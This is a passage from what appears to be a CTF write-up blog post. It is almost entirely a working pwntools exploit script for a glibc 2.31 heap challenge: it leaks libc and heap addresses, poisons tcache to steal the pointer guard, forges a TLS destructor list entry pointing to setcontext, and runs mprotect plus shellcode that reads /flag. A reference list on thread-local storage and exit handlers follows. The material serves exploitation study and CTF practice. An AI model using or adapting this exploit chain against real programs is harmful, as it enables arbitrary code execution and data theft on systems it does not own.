def ptr_mangle(ptr, key, LP_SIZE):
tmp = ptr ^ key
return rol(tmp, LP_SIZE * 2 + 1, LP_SIZE)

class dtor_list(Structure):
_fields_ = [("func", c_int64),
("obj", c_int64),
("map", c_int64),
("next", c_int64)]

def pack(self):
return bytes(memoryview(self))

@attacker(EXP)
def exp(self, a:pwnlib.tubes.sock.sock):
choose = lambda x: a.sla("Edit\n", str(x))
idx = lambda x: a.sla("idx: ", str(x))
size = lambda x: a.sla("size: ", str(x))
content = lambda x: a.sa("content: ", x)

def add(i, sz):
choose(1)
idx(i)
size(sz)

def free(i):
choose(2)
idx(i)

def show(i):
choose(3)
idx(i)

def edit(i, c):
choose(4)
idx(i)
content(c)

add(0, 0x420)
add(1, 0x18)
free(0)
add(0, 0x420)
show(0)
libc_base = unpack(a.recvn(8), 'all') - 0x1bebe0
log.success(f"{libc_base=:#x}")

dbg = Debug(self)
dbg.b('exit').c()

fs_base = libc_base + 0x1c6540
pguard_addr = fs_base + 0x30

add(2, 0x18)
add(3, 0x18)
add(4, 0x18)
free(3)
free(2)

add(2, 0x18)
show(2)
heap_base = u64(a.recvn(8)) - 0x710
log.success(f"{heap_base=:#x}")
free(2)

edit(1, 0x18 * b'a' + p64(0x21) + p64(pguard_addr))
add(2, 0x18)
dbg.attach()
add(3, 0x18)
show(3)

pointer_guard = u64(a.recvn(8))
log.success(f"{pointer_guard=:#x}")

libc = ELF("./libc-2.31.so")
efuncs_addr = 0x1be718 + libc_base
dtor_ptr = fs_base - 88
add(5, 0x18)
free(5)
free(2)
edit(1, 0x18 * b'a' + p64(0x21) + p64(dtor_ptr))
add(2, 0x18)
add(5, 0x18)
add(6, 0x100)
add(7, 0x100)
add(8, 0x100)
target_addr = heap_base + 0xa00
edit(5, p64(target_addr))

setcontext_addr = libc_base + libc.sym['setcontext'] + 0x35
mprotect_addr = libc_base + libc.sym['mprotect']

payload = dtor_list(ptr_mangle(setcontext_addr, pointer_guard, 8),
0,
0,
target_addr + 0x110).pack()
edit(6, payload)

frame = SigreturnFrame()
frame.rdi = heap_base
frame.rsi = 0x2000
frame.rdx = 0x7
frame.rip = mprotect_addr
frame.rsp = target_addr + 0x220
payload = bytes(frame)
edit(7, payload)

payload = p64(target_addr + 0x228)
shellcode = f"""
/* open("flag", 0, 0) */
mov rax, {unpack(b"/flag", 'all')}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

/* read(fd, buf, 0x30) */
sub rsp, 0x30
mov rsi, rsp
mov rdi, rax
mov rdx, 0x30
mov rax, 0
syscall

/* write(1, buf, 0x30) */
mov rdi, 1
mov rax, 1
syscall
hlt
"""
payload += asm(shellcode)

edit(8, payload)
choose(6)
return


@attacker(GET_FLAG)
def get_flag(self, a:pwnlib.tubes.sock.sock):
a.interactive()
return


inter = None
needed = None
ctf(argv, inter, needed)

#参考文献


  1. ELF Handling For Thread-Local Storage by Ulrich Drepper ↩︎
  2. A Deep dive into (implicit) Thread Local Storage ↩︎
  3. https://www.gnu.org/software/hurd/glibc/startup.html ↩︎
  4. https://lwn.net/Articles/631631/ ↩︎
  5. http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html ↩︎

← Prev 信息安全数学基础笔记 | DASCTF八月赛SoSafeMinePool题解 Next →